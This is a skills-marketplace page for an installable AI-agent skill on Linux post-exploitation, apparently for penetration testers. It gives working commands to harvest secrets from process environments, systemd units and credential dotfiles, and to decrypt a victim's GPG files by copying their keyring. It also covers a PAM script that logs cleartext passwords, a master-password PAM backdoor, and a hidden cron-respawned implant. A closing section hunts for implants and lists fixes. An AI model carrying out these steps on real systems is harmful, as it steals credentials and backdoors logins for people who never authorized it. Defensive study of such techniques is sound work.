Skip to main content Home Creators xalgord xalgorix performing-linux-post-exploitation
performing-linux-post-exploitation Post-exploitation on Linux during authorized engagements — credential harvesting from process environments, systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption, and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them.
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/xalgord/xalgorix --skill performing-linux-post-exploitationThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... More from this repository
Related occupations SOC
Based on SOC occupation classification
name performing-linux-post-exploitation description Post-exploitation on Linux during authorized engagements — credential harvesting from process environments, systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption, and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them. domain cybersecurity subdomain linux-hardening tags ["penetration-testing","linux","post-exploitation","persistence","credential-access"] version 1.0 author xalgorix license Apache-2.0
Performing Linux Post-Exploitation
When to Use
After obtaining a foothold (especially root) on a Linux host during an authorized engagement
When the objective includes lateral movement, credential access, or demonstrating persistence
When harvesting secrets to pivot to other hosts, cloud accounts, or internal services
During red-team exercises that require stealthy, detectable-only-on-purpose persistence
When performing blue-team-style hunts for existing implants on a compromised host
Critical: Techniques Most Often Missed
Operators grab ~/.ssh and shell history and move on. The richest reusable credentials live in process environments, systemd units, and app dotfiles.
Secrets in process environments. Service processes inherit DB URIs, admin creds, API keys.
How to CONFIRM: tr '\0' '\n' </proc/<PID>/environ shows values like GF_SECURITY_ADMIN_PASSWORD=...; reuse them against SSH/other services.
Credentials baked into systemd unit files. Environment= lines carry Basic-Auth and DB passwords.
How to CONFIRM: grep -R '^Environment=' /etc/systemd/system /lib/systemd/system returns BASIC_AUTH_PWD=... that often works on the web panel and SSH.
App dotfiles beyond SSH/history. .aws/credentials, .kube/config, .docker/config.json, .netrc, .git-credentials.
How to CONFIRM: grep -RInE 'password|token|aws_secret' ~/.aws ~/.kube ~/.docker ~/.netrc 2>/dev/null returns live tokens.
GPG keyring relocation to decrypt loot. Permission/lock errors on the original homedir are bypassed by copying the keyring.
How to CONFIRM: GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d secrets.gpg succeeds where the in-place decrypt failed with "unsafe ownership on homedir".
PAM credential capture / backdoor. pam_exec.so logs every plaintext password; a patched pam_unix.so accepts a master password.
How to CONFIRM: after adding the pam_exec.so line, a fresh login writes the cleartext password to /var/log/toomanysecrets.log.
Passive BPF backdoors with no listening port.
netstat
ss
nmap
How to CONFIRM (hunt): ss -0pb | egrep -i 'packet|raw' reveals raw/packet sockets with attached filters owned by oddly-named processes.
Workflow
Step 1: Harvest Credentials from Process Environments env ; printenv
tr '\0' '\n' < /proc/<PID>/environ
strings -z /proc/<PID>/environ
tr '\0' '\n' < /proc/1/environ
Step 2: Pull Secrets from systemd Units and Dotfiles ls -la /etc/systemd/system /lib/systemd/system
sudo grep -R '^Environment=.*' /etc/systemd/system /lib/systemd/system 2>/dev/null
ls -la ~ | grep -iE 'history|credential|token|key|secret'
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
Step 3: Decrypt GPG Loot via Relocated Keyring mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
Step 4: PAM Credential Capture (logging plaintext passwords)
cat > /usr/local/bin/toomanysecrets.sh <<'EOF'
echo " $(date) $PAM_USER , $(cat -) , From: $PAM_RHOST " >> /var/log/toomanysecrets.log
EOF
chmod 700 /usr/local/bin/toomanysecrets.sh
Step 5: PAM Backdoor (master password) A patched pam_unix.so grants auth when a predefined password is supplied, otherwise it falls through to normal verification. The compiled library replaces the system pam_unix.so and works across login/ssh/sudo/su. Automate with linux-pam-backdoor.
Step 6: Establish Stealthy Persistence
for d in /tmp /var/tmp /dev/shm /run/lock; do cp implant "$d /.s" 2>/dev/null; done
(crontab -l 2>/dev/null; echo '*/5 * * * * /tmp/.s' ) | crontab -
Step 7: Hunt for Existing Implants (blue-team validation)
ss -0pb | egrep -i 'packet|raw' ; cat /proc/net/packet
for p in /proc/[0-9]*; do exe=$(readlink "$p /exe" 2>/dev/null);
cmd=$(tr '\0' ' ' <"$p /cmdline" 2>/dev/null);
[ -n "$exe " ] && printf "%s | %s | %s\n" "${p##*/} " "$exe " "$cmd " ; done \
| egrep -i 'agetty|smartd|init|dockerd'
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
grep -RInE 'bpfd|dockerd|/dev/shm|/var/tmp' /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
Key Concepts Concept Description Environment credential leak Secrets passed via env are inherited by children and any spawned shell systemd Environment= Credentials embedded directly in unit files, often root-run web panels PAM Pluggable Authentication Modules; pam_exec.so runs scripts, pam_unix.so checks passwords GNUPGHOME relocation Pointing GPG at a writable copy of a keyring to bypass homedir permission/lock errors Process masquerading prctl(PR_SET_NAME) + argv[0] overwrite to display a benign name in ps/procBPF passive backdoor Kernel socket filter that triggers a shell only on a magic packet — no open port Single-instance mutex Implant binds a fixed loopback port and exits if bind fails, preventing duplicates
Tools & Systems Tool Purpose /proc//environ Read another process's environment for inherited secrets pam_exec.so Run an arbitrary script during authentication (credential capture) linux-pam-backdoor Automates patching pam_unix.so with a master password gpg (GNUPGHOME) Decrypt loot with a relocated victim keyring pspy Observe cron/systemd activity to find credential-bearing jobs ss / bpftool Detect raw/packet sockets and baseline BPF usage when hunting implants
Common Scenarios
Scenario 1: Grafana env creds reuse A Grafana process exposes GF_SECURITY_ADMIN_PASSWORD in /proc/<pid>/environ. The same password works for SSH on the host, enabling a clean pivot.
Scenario 2: systemd Basic-Auth leak grep -R '^Environment=' reveals BASIC_AUTH_USER=root / BASIC_AUTH_PWD=... in a crontab-ui unit running as root, unlocking the admin web panel.
Scenario 3: GPG-protected backup A .gpg backup cannot be decrypted in place due to homedir permissions. Copying ~/.gnupg into /dev/shm and setting GNUPGHOME decrypts the secrets.
Scenario 4: PAM password capture for persistence Adding a pam_exec.so line to common-auth logs every cleartext login password to a file, harvesting admin credentials as they authenticate.
Output Format ## Post-Exploitation Finding
**Activity**: Credential Harvesting & Persistence
**Severity**: High
**Host**: app01 (root access obtained)
### Credentials Recovered
| Source | Secret | Reuse |
|--------|--------|-------|
| /proc/812/environ | DB URI + password | psql to internal DB |
| systemd unit crontab-ui.service | BASIC_AUTH_PWD | web panel + SSH on app01 |
| ~/.aws/credentials | AWS access/secret key | AWS account access |
### Persistence Demonstrated (authorized)
- pam_exec.so line in /etc/pam.d/common-auth logging plaintext logins
- cron respawn entry: */5 * * * * /tmp/.s (removed at end of engagement)
### Detection Notes
ss -0pb showed no rogue raw/packet sockets; process-name vs exe audit clean.
### Recommendation
1. Move secrets out of env / unit files into a secret manager; rotate exposed creds
2. Review /etc/pam.d/* and pam module integrity; alert on pam_exec additions
3. Restrict /proc visibility (hidepid=2) and dotfile permissions
4. Monitor for raw/packet sockets, deleted exes, and process-name/exe mismatches
